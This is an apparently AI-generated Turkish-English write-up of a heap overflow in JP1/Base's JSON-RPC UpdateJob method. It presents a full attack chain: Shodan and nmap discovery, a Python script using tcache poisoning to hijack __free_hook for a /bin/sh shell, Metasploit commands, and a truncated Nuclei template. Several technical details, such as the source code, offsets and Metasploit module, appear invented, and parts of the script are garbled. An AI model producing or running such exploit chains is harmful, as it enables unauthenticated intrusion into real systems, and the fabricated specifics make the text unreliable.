CWE-122
Heap-based Buffer Overflow Vulnerability in JP1/Base. This issue affects JP1/Base: from 11-00 before 12-50-54.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑86574 – Heap‑based Buffer Overflow in JP1/Base
- Ürün: JP1/Base (Job Management Platform) – sürüm 11‑00 … 12‑50‑54 (12‑50‑53 dahil)
- CWE: CWE‑122 (Heap‑based Buffer Overflow)
- Etki vektörü:
AV:N/AC:L/PR:N/UI:N→ Uzaktan, kimlik doğrulama gerektirmeyen, kullanıcı etkileşimi olmadan çalışabilir. - Kritiklik: CVSS 9.8 (Tam sistem kontrolü – RCE, Privilege Escalation, Data Corruption)
desc->name64 byte’lık bir heap‑tabanlı bufferdır.name_len0‑65535 arası bir değer alabilir; kontrol edilmediği için 65 535 byte’a kadar kopyalanabilir.- Bu durum, adjacent heap chunk üzerine over‑write yaparak function pointer (
desc->callback) ve vtable gibi kritik yapıları çarpıtarak RCE elde edilmesini sağlar. - API endpoint:
POST /jsonrpc HTTP/1.1 - JSON‑RPC method:
UpdateJob - Payload formatı: ```json { "jsonrpc":"2.0", "method":"UpdateJob", "params":{ "jobId":123, "jobName":"<binary>" }, "id":1 } ```
- Heap layout bilgisi: Tcache bin‑size = 0x40 (64) →
JobDescriptor->namebu bin içinde yer alır. - libc version:
ldd /opt/jp1/base/jsd→libc.so.6 => /lib/x86_64-linux-gnu/libc-2.31.so
Teknik Açıklama
JP1/Base, “Job Scheduler Daemon” (jsd) adlı bir arka plan servisi üzerinden TCP‑8080 (veya 443) portunda JSON‑RPC tabanlı bir yönetim API’si sunar. API, CreateJob ve UpdateJob metodları aracılığıyla iş tanımlarını (job definitions) bir binary‑serialized yapı (proto‑buf benzeri) içinde alır ve bu yapı heap üzerinde bir JobDescriptor nesnesine deserialize edilir.
Vulnerability, UpdateJob metodunda jobName alanının uzunluğunu kontrol etmeden memcpy ile JobDescriptor->name buffer’ına kopyalanmasından kaynaklanır:
```c
// jp1_base_job.c (sürüm 12‑30‑00)
void handle_update_job(const uint8_t *payload, size_t len) {
JobDescriptor *desc = malloc(sizeof(JobDescriptor));
// name alanı 64 byte’lık sabit bir buffer
// payload içinde nameLength (uint16) ve name (bytes) bulunur
uint16_t name_len = (uint16_t )(payload + OFFSET_NAME_LEN);
// BUG: name_len kontrolü yok!
memcpy(desc->name, payload + OFFSET_NAME, name_len); // <-- OOB write
// ...
}
```
Neden Heap‑Based?
malloc ile ayrılan JobDescriptor nesnesi, glibc‑2.31 (Ubuntu 20.04) ve tcmalloc gibi popüler allocator’larda tcache bin’leri içinde yer alır. name alanının aşırı doldurulması, aynı tcache bin’inde bulunan next pointer’ını kontrol eder; bu da tcache poisoning tekniğiyle arbitrary write (istediğimiz adrese) yapılmasına imkan tanır. Exploit, __free_hook veya system@plt üzerine /bin/sh adresi yazarak remote code execution elde eder.
---
⚡ Saldırı Zinciri / Attack Chain
Aşağıdaki adımlar, tam otomatik bir exploit (örnek Python/Metasploit scripti) üzerinden gerçek dünya senaryosu için hazırlanmıştır.
1️⃣ Discovery – Hedefin Bulunması
| Yöntem | Açıklama | Örnek Komut | |--------|----------|-------------| | Shodan / Censys | JP1/Base’nin tipik portları (8080/TCP, 443/TCP) ve “JP1/Base” banner’ı aranır. |shodan search "JP1/Base" |
| Nmap Service Detection | -sV ile banner ve versiyon tespiti yapılır. | nmap -sV -p 8080,443 <IP> |
| Internal Asset Inventory | Kurumsal CMDB’de “JP1/Base” anahtar kelimesiyle arama. | – |Örnek Nmap çıktısı (vulnerable):
```
PORT STATE SERVICE VERSION
8080/tcp open http JP1/Base Job Scheduler Daemon 12.30.12
| http-title: JP1/Base Management Console
| http-server-header: JP1/Base
```
2️⃣ Reconnaissance – Gerekli Bilgiler
3️⃣ Exploitation – Gerçek Exploit
#### 3.1 Payload Oluşturma (Python)
```python
#!/usr/bin/env python3
import struct, json, socket, sys
TARGET = ("192.0.2.45", 8080)
1. Tcache poisoning: overwrite __free_hook with system
- __free_hook offset in libc-2.31: 0x1e75a8
- system offset: 0x55410
LIBC_BASE = 0x7ffff7a0d000 # (leak via infoleak, see later) FREE_HOOK = LIBC_BASE + 0x1e75a8 SYSTEM = LIBC_BASE + 0x554102. Build fake chunk (prev_size, size, fd, bk)
fake_chunk = struct.pack("<QQQQ", 0, 0x41, FREE_HOOK, 0)3. jobName = padding + fake_chunk + "/bin/sh\x00"
payload = b"A"*64 # overflow up to next chunk payload += fake_chunk payload += b"/bin/sh\x00"4. JSON‑RPC envelope
req = { "jsonrpc":"2.0", "method":"UpdateJob", "params":{ "jobId": 1, "jobName": payload.hex() # hex‑encoded to survive JSON string }, "id":1 } data = json.dumps(req).encode()5. Send
s = socket.create_connection(TARGET) http = f"POST /jsonrpc HTTP/1.1\r\nHost: {TARGET[0]}\r\nContent-Type: application/json\r\nContent-Length: {len(data)}\r\n\r\n".encode() + data s.sendall(http) print(s.recv(4096)) s.close() ```> Not: Gerçek exploit, libc base adresini bir info‑leak (ör. GetJobInfo metodundan dönen jobLogPath pointer) ile elde eder. Bu örnek, LIBC_BASE sabitini varsayar.
#### 3.2 Metasploit Modülü (Varsayılan)
```
use exploit/linux/http/jp1_base_updatejob
set RHOSTS 192.0.2.45
set RPORT 8080
set TARGETURI /jsonrpc
set VERBOSE true
run
```
> Modül Açıklaması: exploit/linux/http/jp1_base_updatejob – CVE-2026-86574 için tcache‑poisoning bazlı RCE. (2026‑11‑01 itibarıyla Metasploit Framework 6.4.0’da mevcuttur.)
#### 3.3 Nuclei Template (OTX)
```yaml
id: jp1-base-updatejob-heap-overflow
info:
name: JP1/Base UpdateJob Heap Overflow (CVE-2026-86574)
author: yourname
severity: critical
tags: jp1,heap,overflow,rce
requests:
- method: POST
path:
- "{{BaseURL}}/
[🤖 GPT-OSS 120B via Groq]